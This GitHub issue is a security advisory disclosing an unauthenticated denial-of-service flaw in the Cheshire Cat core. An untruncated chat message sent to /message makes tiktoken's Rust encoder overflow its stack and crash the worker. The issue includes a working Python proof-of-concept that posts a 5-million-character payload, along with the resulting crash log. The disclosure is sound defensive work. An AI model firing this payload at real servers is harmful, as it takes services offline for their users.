Skip to content

[Security] Unauthenticated Denial of Service (DoS) via Oversized Message Payload in tiktoken Encoding #219

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Unauthenticated Denial of Service (DoS) via Oversized Message Payload in tiktoken Encoding

Description:

Summary

An uncontrolled resource consumption vulnerability in Cheshire Cat allows an unauthenticated attacker to cause a complete Denial of Service (DoS). By sending an excessively long chat message to the /message endpoint, the attacker can trigger a RuntimeError(StackOverflow) in the underlying Rust-based tiktoken library, which crashes the backend worker immediately.

Details

When the application processes an incoming user message, it navigates through stray_cat.py. During the memory recall phase (recall_relevant_memories_to_working_memory), it attempts to record the token length of the input query for model interaction logging.

# In core/cat/looking_glass/stray_cat.py
self.working_memory.model_interactions.append(
    EmbedderModelInteraction(
        ...
        input_tokens=len(tiktoken.get_encoding("cl100k_base").encode(recall_query)),
    )
)

Because the user_message_json.text (assigned to recall_query) is never truncated or limited in size, an attacker can supply an arbitrarily large string (e.g., 5,000,000 characters). The underlying tiktoken library, written in Rust, imposes a stack depth limit during parsing. When passed this massive payload, the Rust code panics with StackOverflow, emitting a fatal exception that completely terminates the Python FastAPI worker process serving the request.

PoC

  1. Start the Cheshire Cat core application on its default port (1865).
  2. Construct a malicious JSON payload with 5,000,000 characters and send it to the /message endpoint via a standard HTTP POST request.
  3. Observe the server drop the connection, return a 500 error, and the worker process crash.

Run this simple Python snippet to trigger the DoS:

import requests

URL = "http://localhost:1865/message"
malicious_text = "A" * 5_000_000

headers = {"Content-Type": "application/json"}
data = {"text": malicious_text}

try:
    requests.post(URL, json=data, headers=headers, timeout=5)
except requests.exceptions.ConnectionError:
    print("Connection dropped, worker has crashed.")

Log of Evidence

pyo3_runtime.PanicException: called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
thread '<unnamed>' panicked at src/lib.rs:227:33:
called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  ...
  File "/app/cat/looking_glass/stray_cat.py", line 492, in __call__
    self.recall_relevant_memories_to_working_memory()
  File "/app/cat/looking_glass/stray_cat.py", line 311, in recall_relevant_memories_to_working_memory
    input_tokens=len(tiktoken.get_encoding("cl100k_base").encode(recall_query)),
  File "/usr/local/lib/python3.10/site-packages/tiktoken/core.py", line 124, in encode
    return self._core_bpe.encode(text, allowed_special)
pyo3_runtime.PanicException: called `Result::unwrap()` on an `Err` value: RuntimeError(StackOverflow)
INFO:     192.168.64.1:36790 - "POST /message HTTP/1.1" 500 Internal Server Error

Impact

This is a Denial of Service (DoS) vulnerability. Any unauthenticated attacker capable of reaching the external API endpoint can trivially crash backend workers with a single HTTP request. Repeated requests will continuously terminate containerized instances or exhaust system resources, leading to prolonged application downtime.

Affected products

  • Ecosystem: python
  • Package name: cheshire_cat_core
  • Affected versions: <= latest (varies; impacts builds without MAX_TEXT_INPUT checks on stray_cat.py)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
core/cat/looking_glass/stray_cat.py (around line 311) The recall_relevant_memories_to_working_memory method calls tiktoken.get_encoding().encode() on untruncated user data.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions